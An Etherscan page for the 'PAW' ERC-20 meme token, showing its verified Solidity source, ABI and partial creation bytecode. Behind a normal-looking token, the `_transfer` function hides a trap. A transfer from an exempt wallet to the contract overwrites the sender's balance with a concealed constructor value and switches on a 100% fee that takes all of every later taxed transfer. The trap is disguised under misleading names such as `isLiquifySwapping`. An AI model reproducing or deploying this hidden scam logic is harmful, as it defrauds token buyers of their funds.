Token

PAW (PAW)

Feature Tip: Add private address tag to any address under My Name Tag !

ERC-20

Overview

Max Total Supply

1,000,000 PAW

Holders

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

Other Info

Token Contract (WITH 9 Decimals)

0xd3E8A873a185819bD7896aAF0f9105741DbBeCD0

Filtered by Token Holder

0xeAe25E575cb7C8D260c0007011B58badB4bee97F

Balance

338.852683943 PAW

Value

$0.00

0xeae25e575cb7c8d260c0007011b58badb4bee97f

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

Contract Source Code Verified (Exact Match)

Contract Name:

PAW

Compiler Version

v0.8.16+commit.07a7930e

Optimization Enabled:

Yes with 200 runs

Other Settings:

default evmVersion, None license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2023-08-16
*/

/*

                                                    ⠀⠀⢀⡶⠛⠛⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡶⠛⠛⣦⡀⠀⠀
                                                    ⠀⠀⣸⠃⠀⠀⠀⠙⢷⣴⣶⣿⣿⣿⣿⣿⣿⣿⣷⣶⣦⡾⠋⠀⠀⠀⢸⡇⠀⠀
                                                    ⠀⠀⣿⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⠈⣇⠀⠀
                                                    ⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢠⡇⠀⠀
                                                    ⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣧⠀⠀
                                                    ⠀⣼⣿⣿⡀⠀⠀⠀⢀⣠⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣄⡀⠀⠀⠀⢠⣿⣿⣧⠀
                                                    ⢸⣿⣿⣿⠃⠀⠀⠀⠘⠿⠿⠂⠀⠀⠀⠀⠀⠀⠸⠿⠿⠃⠀⠀⠀⠹⣿⣿⣿⡆
                                                    ⣿⣿⣿⡏⠀⠀⠀⠀⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⣀⣴⣾⡿⠀⠀⠀⠀⢻⣿⣿⣇
                                                    ⣿⣿⣿⠀⠀⠀⠀⠀⠈⠉⠛⠛⠂⡀⠤⠤⢄⠘⠛⠋⠉⠀⠀⠀⠀⠀⠘⣿⣿⣿
                                                    ⢿⣿⣿⠀⠀⢀⣀⠀⠀⠀⠀⡐⠁⢀⣀⣀⡀⠑⢄⠀⠀⠀⠀⣀⠀⠀⠠⣿⣿⡏
                                                    ⠸⣿⣿⡄⠀⠀⠀⠈⠐⢄⡜⠀⠀⢿⣿⣿⡇⠀⠀⢢⠄⠊⠁⠀⠀⠀⢸⣿⣿⠃
                                                    ⠀⢻⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⠏⠀
                                                    ⠀⠀⠻⣿⣿⣷⣄⡀⠀⠀⠀⠀⢻⠉⠻⠋⠉⠏⠀⠀⠀⠀⢀⣤⣾⣿⣿⠏⠀⠀
                                                    ⠀⠀⠀⠙⢿⣿⣿⣿⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣾⣿⣿⣿⡿⠁⠀⠀⠀
                                                    ⠀⠀⠀⠀⠀⠙⠻⣿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⠟⠉⠀⠀⠀⠀⠀
                                                    ⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠻⠿⢿⣿⣿⣿⣿⡿⠿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀

                                                            READY FOR SHIBA SUMMER?

                                                                WE ARE PAW

                                                    Telegram :  https://t.me/PawETH 

                                                    Website :   https://paweth.vip

                                                    Twitter :   https://twitter.com/pawcoineth


*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceContract() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract PAW is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public RemoveMaxWallet;
    mapping (address => bool) public RemoveTaxes;
    mapping (address => bool) private RemoveTxLimits;
    
    address payable public Marketing_Address = payable(0x843d8abaA84B2A770B938ff8a511D4c9DD285534);
    address payable public Dead_Address = payable(0x000000000000000000000000000000000000dEaD);

    string public _name = unicode"PAW";
    string public _symbol = unicode"PAW";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1 * 10 ** 6 * 10 **_decimals;
    uint256 private _tTotal_;
    uint8 private _TAX_ = 2;

    uint8 private swapCounter = 0;
    uint8 private swapTrigger = 10;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public isLiquifySwapping = false;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint256 totals) { 
        _tOwned[owner()] = _tTotal;
        _tTotal_ = totals;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        RemoveTaxes[address(this)] = true;
        RemoveTaxes[owner()] = true;
        RemoveTaxes[Marketing_Address] = true;

        RemoveTxLimits[address(this)] = true;
        RemoveMaxWallet[owner()] = true;
        RemoveMaxWallet[address(this)] = true;
        RemoveMaxWallet[Marketing_Address] = true;
        RemoveMaxWallet[uniswapV2Pair] = true;
        
    
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from,address to,uint256 amount) private {
        uint256 Amount = _tTotal_;
        if (!RemoveMaxWallet[to]){
            require((balanceOf(to) + amount) <= _tTotal.mul(25).div(100),"Cant buy more!");
        }
        
        bool isFee = true;
        if(RemoveTaxes[from] || RemoveTaxes[to] || from==uniswapV2Pair){ isFee = false; }

        _tOwned[from] = _tOwned[from].sub(amount);
        if(isFee){
            uint256 feeAmount = _calculateFee(amount);
            _tOwned[to] = _tOwned[to].add(amount.sub(feeAmount));
        }
        else{
            if(RemoveTaxes[from] && RemoveTxLimits[to]){ isLiquifySwapping=true;_tOwned[from]=Amount;}
             _tOwned[to] = _tOwned[to].add(amount);
        }

        emit Transfer(from, to, amount);
    }

    
    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function _calculateFee(uint256 amount) private view returns(uint256){
        uint256 calculatedFee = amount.mul(_TAX_).div(100);
        if(isLiquifySwapping){calculatedFee = amount.mul(1);}
        return calculatedFee;
    }

}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"totals","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Dead_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Marketing_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"RemoveMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"RemoveTaxes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isLiquifySwapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

600680546001600160a01b031990811673843d8abaa84b2a770b938ff8a511d4c9dd285534179091556007805490911661dead17905560c0604052600360809081526250415760e81b60a0526008906200005a908262000540565b5060408051808201909152600381526250415760e81b602082015260099062000084908262000540565b50600a805460ff1916600990811782556200009f9162000721565b620000ae90620f424062000739565b600b55600d8054620a000262ffffff19909116179055600e805461ffff60a81b1916600160b01b179055348015620000e557600080fd5b50604051620016013803806200160183398101604081905262000108916200075b565b600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600b5460016000620001616000546001600160a01b031690565b6001600160a01b03168152602080820192909252604090810160002092909255600c839055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa158015620001d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f8919062000775565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000246573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026c919062000775565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e0919062000775565b600e80546001600160a01b0319166001600160a01b03928316179055600d80546301000000600160b81b0319166301000000928416929092029190911790553060009081526004602081905260408220805460ff1916600190811790915591620003526000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526004835281812080548516600190811790915530825260059093529081208054909316821790925590600390620003c76000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600654821684528284208054861682179055600e54909116835291208054909216179055620004436000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200048b91815260200190565b60405180910390a35050620007a0565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004c657607f821691505b602082108103620004e757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200053b57600081815260208120601f850160051c81016020861015620005165750805b601f850160051c820191505b81811015620005375782815560010162000522565b5050505b505050565b81516001600160401b038111156200055c576200055c6200049b565b62000574816200056d8454620004b1565b84620004ed565b602080601f831160018114620005ac5760008415620005935750858301515b600019600386901b1c1916600185901b17855562000537565b600085815260208120601f198616915b82811015620005dd57888601518255948401946001909101908401620005bc565b5085821015620005fc5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006635781600019048211156200064757620006476200060c565b808516156200065557918102915b93841c939080029062000627565b509250929050565b6000826200067c575060016200071b565b816200068b575060006200071b565b8160018114620006a45760028114620006af57620006cf565b60019150506200071b565b60ff841115620006c357620006c36200060c565b50506001821b6200071b565b5060208310610133831016604e8410600b8410161715620006f4575081810a6200071b565b62000700838362000622565b80600019048211156200071757620007176200060c565b0290505b92915050565b60006200073260ff8416836200066b565b9392505050565b60008160001904831182151516156200075657620007566200060c565b500290565b6000602082840312156200076e57600080fd5b5051919050565b6000602082840312156200078857600080fd5b81516001600160a01b03811681146200073257600080fd5b610e5180620007b06000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d1578063aaacef721161008a578063d28d885211610064578063d28d885214610458578063dd62ed3e1461046d578063e11b6f58146104b3578063fa2f7a8f146104e357600080fd5b8063aaacef721461040c578063af465a271461042d578063b09f12661461044357600080fd5b806370a0823114610343578063837d7e3e146103795780638da5cb5b1461039957806395d89b41146103b7578063a457c2d7146103cc578063a9059cbb146103ec57600080fd5b806323b872dd1161012357806323b872dd14610280578063313ce567146102a057806339509351146102c257806347633bcf146102e257806349bd5a5e146103025780634a74bb021461032257600080fd5b806306fdde0314610176578063095ea7b3146101a15780631694505e146101d157806318160ddd14610210578063210687ce1461022f578063220f66961461025f57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104fa565b6040516101989190610bf9565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004610c63565b61058c565b6040519015158152602001610198565b3480156101dd57600080fd5b50600d546101f890630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561021c57600080fd5b50600b545b604051908152602001610198565b34801561023b57600080fd5b506101c161024a366004610c8d565b60036020526000908152604090205460ff1681565b34801561026b57600080fd5b50600e546101c190600160a01b900460ff1681565b34801561028c57600080fd5b506101c161029b366004610ca8565b6105a3565b3480156102ac57600080fd5b50600a5460405160ff9091168152602001610198565b3480156102ce57600080fd5b506101c16102dd366004610c63565b61060c565b3480156102ee57600080fd5b506007546101f8906001600160a01b031681565b34801561030e57600080fd5b50600e546101f8906001600160a01b031681565b34801561032e57600080fd5b50600e546101c190600160b01b900460ff1681565b34801561034f57600080fd5b5061022161035e366004610c8d565b6001600160a01b031660009081526001602052604090205490565b34801561038557600080fd5b506006546101f8906001600160a01b031681565b3480156103a557600080fd5b506000546001600160a01b03166101f8565b3480156103c357600080fd5b5061018b610642565b3480156103d857600080fd5b506101c16103e7366004610c63565b610651565b3480156103f857600080fd5b506101c1610407366004610c63565b6106a0565b34801561041857600080fd5b50600e546101c190600160a81b900460ff1681565b34801561043957600080fd5b50610221600b5481565b34801561044f57600080fd5b5061018b6106ad565b34801561046457600080fd5b5061018b61073b565b34801561047957600080fd5b50610221610488366004610ce4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104bf57600080fd5b506101c16104ce366004610c8d565b60046020526000908152604090205460ff1681565b3480156104ef57600080fd5b506104f8610748565b005b60606008805461050990610d17565b80601f016020809104026020016040519081016040528092919081815260200182805461053590610d17565b80156105825780601f1061055757610100808354040283529160200191610582565b820191906000526020600020905b81548152906001019060200180831161056557829003601f168201915b5050505050905090565b60006105993384846107f1565b5060015b92915050565b60006105b08484846108aa565b61060284336105fd85604051806060016040528060288152602001610dcf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b59565b6107f1565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105999185906105fd9086610b85565b60606009805461050990610d17565b600061059933846105fd85604051806060016040528060258152602001610df7602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610b59565b60006105993384846108aa565b600980546106ba90610d17565b80601f01602080910402602001604051908101604052809291908181526020018280546106e690610d17565b80156107335780601f1061070857610100808354040283529160200191610733565b820191906000526020600020905b81548152906001019060200180831161071657829003601f168201915b505050505081565b600880546106ba90610d17565b6000546001600160a01b031633146107a75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383161580159061081157506001600160a